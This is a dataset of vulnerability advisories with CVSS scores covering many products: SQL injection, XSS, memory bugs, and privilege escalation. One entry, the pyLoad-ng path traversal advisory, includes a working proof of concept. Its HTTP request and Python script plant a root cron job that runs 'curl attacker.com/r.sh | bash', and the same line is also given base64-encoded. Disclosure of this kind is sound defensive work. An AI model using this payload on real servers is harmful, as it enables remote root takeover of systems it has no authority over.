ansulev/circl-vulnerability-scores huggingface dataset:
CVE-2024-13170: An out-of-bounds write in Ivanti EPM before the 2024 January-2025 Security Update and 2022 SU6 January-2025 Security Update allows a remote unauthenticated attacker to cause a denial of service.
CVSS v3.1: 7.5
GHSA-77rm-8jvr-hfgm: A race condition in UEFI firmware for some Intel(R) processors may allow a privileged user to potentially enable escalation of privilege via local access.
CVSS v4.0: 8.7
CVSS v3.1: 7.5
CVE-2023-38830: An information leak in PHPJabbers Yacht Listing Script v1.0 allows attackers to export clients' credit card numbers from the Reservations module.
CVSS v3.1: 7.5
GHSA-6h2f-6j38-qxpp: OpenStack Compute (Nova) Folsom, Grizzly, and earlier, when using Apache Qpid for the RPC backend, does not properly handle errors that occur during messaging, which allows remote attackers to cause a denial of service (connection pool consumption), as demonstrated using multiple requests that send long strings to an instance console and retrieving the console log.
RHSA-2023:6705: Red Hat Security Advisory: procps-ng security and bug fix update
procps: ps buffer overflow
CVSS v3.1: 3.3
CVE-2008-4879: SQL injection vulnerability in prod.php in Maran PHP Shop allows remote attackers to execute arbitrary SQL commands via the cat parameter, a different vector than CVE-2008-4880.
CVSS v2.0: 7.5
RHSA-2017:2437: Red Hat Security Advisory: kernel security and bug fix update
kernel: crypto: GPF in lrw_crypt caused by null-deref kernel: l2tp: Race condition in the L2TPv3 IP encapsulation feature kernel: Null pointer dereference in search_keyring kernel: NFSv4 server does not properly validate layout type when processing NFSv4 pNFS LAYOUTGET operand
CVSS v3.0: 8.6
CVE-2022-2745: SourceCodester Gym Management System Add New Trainer add_trainers.php sql injection
A vulnerability, which was classified as critical, was found in SourceCodester Gym Management System. This affects an unknown part of the file /admin/add_trainers.php of the component Add New Trainer. The manipulation of the argument trainer_name leads to sql injection. It is possible to initiate the attack remotely. The identifier VDB-206013 was assigned to this vulnerability.
CVSS v3.1: 6.3
CVE-2026-5669: Cyber-III Student-Management-System Parameter login.php sql injection
A vulnerability has been found in Cyber-III Student-Management-System up to 1a938fa61e9f735078e9b291d2e6215b4942af3f. This vulnerability affects unknown code of the file /login.php of the component Parameter Handler. Such manipulation of the argument Password leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The project was informed of the problem early through an issue report but has not responded yet.
CVSS v4.0: 6.9
CVSS v3.1: 7.3
CVSS v3.0: 7.3
CVSS v2.0: 7.5
GHSA-r2f4-w3vh-wpxj: Use of cryptographically weak pseudo-random number generator (PRNG) vulnerability in the SonicWall SMA100 SSLVPN backup code generator that, in certain cases, can be predicted by an attacker, potentially exposing the generated secret.
CVSS v3.1: 5.3
GHSA-22fc-qj5h-4gpq: The Royal Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Instagram Feed widget's 'instagram_follow_text' setting in all versions up to, and including, 1.7.1056 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS v3.1: 6.4
CVE-2011-2262: Unspecified vulnerability in the MySQL Server component in Oracle MySQL 5.1.x and 5.5.x allows remote attackers to affect availability via unknown vectors.
CVSS v2.0: 5
CVE-2022-38222: There is a use-after-free issue in JBIG2Stream::close() located in JBIG2Stream.cc in Xpdf 4.04. It can be triggered by sending a crafted PDF file to (for example) the pdfimages binary. It allows an attacker to cause Denial of Service or possibly have unspecified other impact.
CVSS v3.1: 7.8
CVE-2007-6007: Integer overflow in the ID_PSP.apl plug-in for ACD ACDSee Photo Manager 9.0 build 108, Pro Photo Manager 8.1 build 99, and Photo Editor 4.0 build 195 allows user-assisted remote attackers to execute arbitrary code via a crafted PSP image that triggers a heap-based buffer overflow.
CVSS v2.0: 6.8
GHSA-v2xq-hq7m-wfgc: An elevation of privilege vulnerability in Audioserver could enable a local malicious application to execute arbitrary code within the context of a privileged process. This issue is rated as High because it could be used to gain local access to elevated capabilities, which are not normally accessible to a third-party application. Product: Android. Versions: 4.4.4, 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2. Android ID: A-34749571.
CVSS v3.0: 7.8
CVE-2009-1147: Unspecified vulnerability in vmci.sys in the Virtual Machine Communication Interface (VMCI) in VMware Workstation 6.5.1 and earlier, VMware Player 2.5.1 and earlier, VMware ACE 2.5.1 and earlier, and VMware Server 2.0.x before 2.0.1 build 156745 allows local users to gain privileges via unknown vectors.
CVSS v2.0: 7.2
PYSEC-2026-493: ### Summary
**Path Traversal in pyLoad-ng CNL Blueprint via `package` parameter allows Arbitrary File Write leading to Remote Code Execution (RCE)** The `addcrypted` endpoint in `pyload-ng` suffers from an unsafe path construction vulnerability, allowing unauthenticated attackers to write arbitrary files outside the designated storage directory. This can be abused to overwrite critical system files, including cron jobs and systemd services, leading to privilege escalation and remote code execution as root.



### Details
* **Endpoint**: `POST /addcrypted`
* **Issue**: `src/pyload/webui/app/blueprints/cnl_blueprint.py`

#### Vulnerable Code
```python
 dlc_path = os.path.join( 
     dl_path, package.replace("/", "").replace("\\", "").replace(":", "") + ".dlc" 
 ) 
 dlc = flask.request.form["crypted"].replace(" ", "+") 
 with open(dlc_path, mode="wb") as fp: ```
 
### PoC
```http
POST /addcrypted HTTP/1.1
Host: localhost:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: 107

package=../../../../etc/cron.d/payload&crypted=KioqICogKiAqKiByb290IGN1cmwgLXMgaHR0cDovL2F0dGFja2VyLmNvbS9yLnNoIHwgYmFzaA==
 ```

Decoded payload:
```bash
* * * * * root curl -s http://attacker.com/r.sh | bash
```

**Send crafted POST**
```python
import requests, base64

payload = "* * * * * root curl http://attacker.com/rev.sh | bash"
b64 = base64.b64encode(payload.encode()).decode()

requests.post("http://localhost:8000/addcrypted", data={
    "package": "../../../../etc/cron.d/exploit",
    "crypted": b64
})
```


### Impact
 The vulnerability allows unauthenticated attackers to write arbitrary files outside the intended directory via a path traversal flaw in the `addcrypted` endpoint in `pyload-ng` parameter. when exploited, it enables remote code execution as **root** by injecting malicious cron jobs or system files, turning a simple file upload endpoint into a full system compromise vector.
CVSS v3.1: 9.8
GHSA-mv6h-78g8-x45x: Hughes Technologies Virtual DNS (VDNS) Server 1.0 allows a remote attacker to create a denial of service by connecting to port 6070, sending some data, and closing the connection.
CVE-2025-30593: WordPress Include URL plugin <= 0.3.5 Cross Site Scripting (XSS) Vulnerability
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in samsk Include URL include-url allows Stored XSS.This issue affects Include URL: from n/a through <= 0.3.5.
CVSS v3.1: 6.5
GHSA-h59c-hv3v-mj8q: Cleartext storage and exposure of WPA2 credentials, and missing authentication on the rr/wr memory read/write commands, in the unauthenticated UART debug console of the Tenda N300 F3 (V603) allow a physically proximate attacker to obtain stored WPA2 credentials in cleartext and to read or write arbitrary memory via the serial console.
CVSS v3.1: 4.6
GHSA-9r5x-wg6m-x2rc: Gitea: OAuth2 access token scope enforcement bypass via HTTP Basic authentication
SummaryGitea fails to enforce OAuth2 access token scopes when the token is submitted via HTTP Basic authentication instead of a Bearer token. An OAuth2 application granted only `read:user` can use the same token as `Authorization: Basic base64(<token>:x-oauth-basic)` and perform write actions, including modifying profiles, adding email addresses, creating repositories, and deleting repositories as the authorizing user.Details**Root cause:** `services/auth/basic.go` accepts OAuth2 access tokens through the Basic auth path but does not store the token scope in the request context:The scope enforcement middleware in `routers/api/v1/api.go` exits early when `ApiTokenScope` is absent:When a token arrives via Bearer, `ApiTokenScope` is populated and scope checks apply normally. When the same token arrives via Basic auth, `ApiTokenScope` is never set, so `tokenRequiresScopes` returns immediately and no scope is enforced.**Suggested fix:** When an OAuth2 access token is accepted in `services/auth/basic.go`, populate `ApiTokenScope` in the request context identically to the Bearer-token OAuth2 path.PoCCreate an OAuth2 application in Gitea.Authorize it as a normal user with scope `read:user` only.Take the resulting access token and call a write endpoint both ways:**Bearer | correctly blocked:****Basic | bypass:****All verified bypass endpoints using a `read:user`-only token:**| Endpoint | Bearer | Basic |
|---|---|---|
| `PATCH /api/v1/user/settings` | 403 | 200 |
| `POST /api/v1/user/emails` | 403 | 200 |
| `POST /api/v1/user/repos` | 403 | 200 |
| `PATCH /api/v1/repos/{owner}/{repo}` | 403 | 200 |
| `DELETE /api/v1/repos/{owner}/{repo}` | 403 | 200 |The bypass respects the user's normal repository permissions, it does not grant access to repositories the user cannot otherwise reach, and does not escalate to admin.ImpactAny OAuth2 application with any restricted scope can silently operate beyond its granted permissions by switching from Bearer to Basic auth. An attacker who obtains a token (e.g. via a malicious OAuth2 app a user authorized) can:Modify the victim's profile and settingsAdd attacker-controlled email addresses to the victim's accountCreate repositories as the victimModify or delete the victim's private repositoriesThe entire OAuth2 scope system is effectively bypassed for any token submitted via Basic auth.
CVSS v3.1: 8.1
CVE-2014-5873: The Sears (aka com.sears.android) application 6.2.8 for Android does not verify X.509 certificates from SSL servers, which allows man-in-the-middle attackers to spoof servers and obtain sensitive information via a crafted certificate.
CVSS v2.0: 5.4
GHSA-grfc-hhv2-5955: Symantec Endpoint Protection (SEP) and Symantec Endpoint Protection Small Business Edition (SEP SBE), prior to 14.2 RU2 MP1 and prior to 14.2.5569.2100 respectively, may be susceptible to a denial of service vulnerability, which is a type of issue whereby a threat actor attempts to tie up the resources of a resident application, thereby making certain functions unavailable.
CVE-2022-1131: Use after free in Cast UI in Google Chrome prior to 100.0.4896.60 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.
CVSS v3.1: 8.8
CVE-2024-42120: drm/amd/display: Check pipe offset before setting vblank
In the Linux kernel, the following vulnerability has been resolved:

drm/amd/display: Check pipe offset before setting vblank

pipe_ctx has a size of MAX_PIPES so checking its index before accessing
the array.

This fixes an OVERRUN issue reported by Coverity.
CVSS v3.1: 7.8
CVE-2024-21312: .NET Framework Denial of Service Vulnerability
.NET Framework Denial of Service Vulnerability
CVSS v3.1: 7.5
GHSA-2gm9-phpp-rvm3: An issue was discovered in vesoft NebulaGraph through 3.8.0. It allows shell command injection.
CVSS v3.1: 9.8
CVE-2024-52475: WordPress Wawp plugin < 3.0.18 - Account Takeover vulnerability
Authentication Bypass Using an Alternate Path or Channel vulnerability in Information Technology Wawp automation-web-platform allows Authentication Bypass.This issue affects Wawp: from n/a through < 3.0.18.
CVSS v3.1: 9.8
GHSA-9g95-g4x3-wrvv: On certain Samsung P(9.0) phones, an attacker with physical access can start a TCP Dump capture without the user's knowledge. This feature of the Service Mode application is available after entering the *#9900# check code, but is protected by an OTP password. However, this password is created locally and (due to mishandling of cryptography) can be obtained easily by reversing the password creation logic.
CVSS v3.1: 4.6
CVE-2018-13049: The constructSQL function in inc/search.class.php in GLPI 9.2.x through 9.3.0 allows SQL Injection, as demonstrated by triggering a crafted LIMIT clause to front/computer.php.
CVSS v3.0: 8.8
CVSS v2.0: 6.5
RHSA-2022:4999: Red Hat Security Advisory: OpenShift Container Platform 3.11.715 packages and security update
cri-o: memory exhaustion on the node when access to the kube api
CVSS v3.1: 6.8
CVE-2024-41197: An issue in Ocuco Innovation - INVCLIENT.EXE v2.10.24.5 allows attackers to bypass authentication and escalate privileges to Administrator via a crafted TCP packet.
CVSS v3.1: 9.8
CVE-2009-1772: Cross-site scripting (XSS) vulnerability in activeCollab 2.1 Corporate allows remote attackers to inject arbitrary web script or HTML via the re_route parameter to the login script.
CVSS v2.0: 4.3
GHSA-rjjc-gg9m-vhv8: Inadequate validation of permissions when employing remote tools and 
macros via the context menu within Devolutions Remote Desktop Manager versions 2023.3.31 and 
earlier permits a user to initiate a connection without proper execution
 rights via the remote tools feature. This affects only SQL data sources.
CVSS v3.1: 4.4
CVE-2008-2455: SQL injection vulnerability in comment.php in the MacGuru BLOG Engine plugin 2.2 for e107 allows remote attackers to execute arbitrary SQL commands via the rid parameter.
CVSS v2.0: 7.5
CVE-2012-6113: The openssl_encrypt function in ext/openssl/openssl.c in PHP 5.3.9 through 5.3.13 does not initialize a certain variable, which allows remote attackers to obtain sensitive information from process memory by providing zero bytes of input data.
CVSS v2.0: 5
RHSA-2026:17792: Red Hat Security Advisory: nginx security update
nginx: NGINX: Arbitrary Code Execution Vulnerability
CVSS v3.1: 8.1
GHSA-hqgf-xpw9-m8hc: Enterprise Protection contains a vulnerability in URL rewriting that allows an unauthenticated remote attacker to send an email which bypasses URL protections impacting the integrity of recipient's email.  This occurs due to improper filtering of backslashes within URLs and affects all versions of 8.21, 8.20 and 8.18 prior to 8.21.0 patch 5115, 8.20.6 patch 5114 and 8.18.6 patch 5113 respectively.
CVSS v3.1: 5.8
GHSA-vc52-gwm3-8v2f: Missing "--allow-net" permission check for built-in Node modules
ImpactOutbound HTTP requests made using the built-in "node:http" or "node:https" modules are incorrectly not checked against the network permission allow list (`--allow-net`). Dependencies relying on these built-in modules are subject to the vulnerability too.Users of Deno versions prior to 1.34.0 are unaffected. Deno Deploy users are unaffected.PatchesThis problem has been patched in Deno v1.34.1 and all users are recommended to update to this version.WorkaroundsNo workaround is available for this issue.
CVSS v3.1: 8.6
CVE-2023-2144: Campcodes Online Thesis Archiving System view_department.php sql injection
A vulnerability was found in Campcodes Online Thesis Archiving System 1.0 and classified as critical. This issue affects some unknown processing of the file /admin/departments/view_department.php. The manipulation of the argument id leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-226265 was assigned to this vulnerability.
CVSS v3.1: 6.3
CVSS v3.0: 6.3
CVSS v2.0: 6.5
GHSA-r54g-4qq6-chxg: webmention.js Cross-site Scripting vulnerability
webmention.js prior to 0.5.5 is vulnerable to cross-site scripting.
CVSS v3.0: 7.3
GHSA-57r3-6fx2-p6rg: Missing Authorization vulnerability in Averta Shortcodes and extra features for Phlox theme.This issue affects Shortcodes and extra features for Phlox theme: from n/a through 2.15.5.
CVSS v3.1: 6.4
CVE-2025-15484: Order Notification for WooCommerce < 3.6.3 - Unauthenticated WooCommerce REST Permission Bypass
The Order Notification for WooCommerce  WordPress plugin before 3.6.3 overrides WooCommerce's permission checks to grant full access to all unauthenticated requests, enabling complete read/write access to store resources like products, coupons, and customers.
CVSS v3.1: 9.1
GHSA-c462-7vqc-j6jq: The PPTP-ALG component in CRS Carrier Grade Services Engine (CGSE) and ASR 9000 Integrated Service Module (ISM) in Cisco IOS XR allows remote attackers to cause a denial of service (module reset) via crafted packet streams, aka Bug ID CSCue91963.
GHSA-wjfh-w4xm-h36r: The snprintf function in the db library 1.85.4 ignores the size parameter, which could allow attackers to exploit buffer overflows that would be prevented by a properly implemented snprintf.
CVE-2023-6006: Privilege Escalation Vulnerability
This vulnerability potentially allows local attackers to escalate privileges on affected installations of PaperCut NG. An attacker must have local write access to the C Drive. In addition, Print Archiving must be enabled or the attacker needs to encounter a misconfigured system. This vulnerability does not apply to PaperCut NG installs that have Print Archiving enabled and configured as per the recommended set up procedure. This specific flaw exists within the pc-pdl-to-image process. The process loads an executable from an unsecured location. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of SYSTEM

Note: This CVE has been rescored with a "Privileges Required (PR)" rating of low, and “Attack Complexity (AC)” rating of low, reflecting the worst-case scenario where an Administrator has granted local login access to standard network users on the host server.
CVSS v3.1: 7.8
GHSA-gvcm-7pcm-j9rm: Unknown vulnerability in HP Process Resource Manager (PRM) C.02.01[.01] and earlier, as used by HP-UX Workload Manager (WLM), allows local users to corrupt data files.
CVE-2012-4792: Use-after-free vulnerability in Microsoft Internet Explorer 6 through 8 allows remote attackers to execute arbitrary code via a crafted web site that triggers access to an object that (1) was not properly allocated or (2) is deleted, as demonstrated by a CDwnBindInfo object, and exploited in the wild in December 2012.
CVSS v3.1: 8.8
CVSS v2.0: 9.3
GHSA-68qm-jv3w-qjc5: Unspecified vulnerability in Oracle MySQL Server 5.6.23 and earlier allows remote authenticated users to affect availability via vectors related to Server : DML.
GHSA-cq2q-g8h5-4923: The BGP parser in tcpdump before 4.9.3 has a buffer over-read in print-bgp.c:bgp_capabilities_print() (BGP_CAPCODE_MP).
CVSS v3.1: 7.5
GHSA-wp4m-5j4c-57gf: PHP remote file inclusion vulnerability in includes/mx_common.php in the mx_tinies 1.3.0 Module for MxBB Portal 1.06 allows remote attackers to execute arbitrary PHP code via a URL in the module_root_path parameter.
GHSA-m8cr-q935-8j67: Path Traversal in buttle
All versions of `buttle` are vulnerable to Path Traversal.  Due to insufficient input sanitization, attackers can access server files by using relative paths when fetching files.RecommendationNo fix is currently available. Consider using an alternative module until a fix is made available.
CVSS v3.1: 7.5
GHSA-6h2j-xchg-wcx8: Buffer overflow in the plug-in for Microsoft Windows Media Player (WMP) 9 and 10, when used in browsers other than Internet Explorer and set as the default application to handle media files, allows remote attackers to execute arbitrary code via HTML with an EMBED element containing a long src attribute.
CVE-2020-11099: OOB Read in license_read_new_or_upgrade_license_packet in FreeRDP
In FreeRDP before version 2.1.2, there is an out of bounds read in license_read_new_or_upgrade_license_packet. A manipulated license packet can lead to out of bound reads to an internal buffer. This is fixed in version 2.1.2.
CVSS v3.1: 3.5
CVE-2022-48010: LimeSurvey v5.4.15 was discovered to contain a stored cross-site scripting (XSS) vulnerability in the component /index.php/surveyAdministration/rendersidemenulink?subaction=surveytexts. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Description or Welcome-message text fields. NOTE: the vendor indicates that this is not a vulnerability because the manipulation requires Superadministrator privileges, and Superadministrators are already allowed to customize surveys with JavaScript as they wish.
CVSS v3.1: 5.4
GHSA-4p8f-jchv-665g: IrfanView DJVU File Parsing Use-After-Free Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of IrfanView. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the parsing of DJVU files. The issue results from the lack of validating the existence of an object prior to performing operations on the object. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-24578.
CVSS v3.0: 7.8
GHSA-rxwh-wq59-wv5r: Failure to dismiss http auth dialogs on navigation in Network Authentication in Google Chrome on Android prior to 71.0.3578.80 allowed a remote attacker to confuse the user about the origin of an auto dialog via a crafted HTML page.
CVSS v3.0: 6.5
CVE-2022-32274: The Transition Scheduler add-on 6.5.0 for Atlassian Jira is prone to stored XSS via the project name to the creation function.
CVSS v3.1: 5.4
CVSS v2.0: 3.5
CVE-2023-36574: Microsoft Message Queuing (MSMQ) Remote Code Execution Vulnerability
Microsoft Message Queuing (MSMQ) Remote Code Execution Vulnerability
CVSS v3.1: 7.3
CVE-2022-35649: The vulnerability was found in Moodle, occurs due to improper input validation when parsing PostScript code. An omitted execution parameter results in a remote code execution risk for sites running GhostScript versions older than 9.50. Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.
CVSS v3.1: 9.8
CVE-2012-4971: Multiple SQL injection vulnerabilities in Layton Helpbox 4.4.0 allow remote attackers to execute arbitrary SQL commands via the (1) reqclass parameter to editrequestenduser.asp; the (2) sys_request_id parameter to editrequestuser.asp; the (3) sys_request_id parameter to enduseractions.asp; the (4) sys_request_id or (5) confirm parameter to enduserreopenrequeststatus.asp; the (6) searchsql, (7) back, or (8) status parameter to enduserrequests.asp; the (9) sys_userpwd parameter to validateenduserlogin.asp; the (10) sys_userpwd parameter to validateuserlogin.asp; the (11) sql parameter to editenduseruser.asp; the (12) sql parameter to manageenduserrequestclasses.asp; the (13) sql parameter to resetpwdenduser.asp; the (14) sql parameter to disableloginenduser.asp; the (15) sql parameter to deleteenduseruser.asp; the (16) sql parameter to manageendusers.asp; or the (17) site parameter to statsrequestagereport.asp.
CVSS v2.0: 7.5
CVE-2022-20175: Product: AndroidVersions: Android kernelAndroid ID: A-209252491References: N/A
CVSS v3.1: 7.5
CVSS v2.0: 5
GHSA-xxh6-f3x3-2xgf: An attacker authenticated as a non-admin user with local access to a server port assigned to the SAP Host Agent (Start Service) - versions 7.21, 7.22, can submit a crafted ConfigureOutsideDiscovery request with an operating system command which will be executed with administrator privileges. The OS command can read or modify any user or system data and can make the system unavailable.
CVSS v3.1: 8.8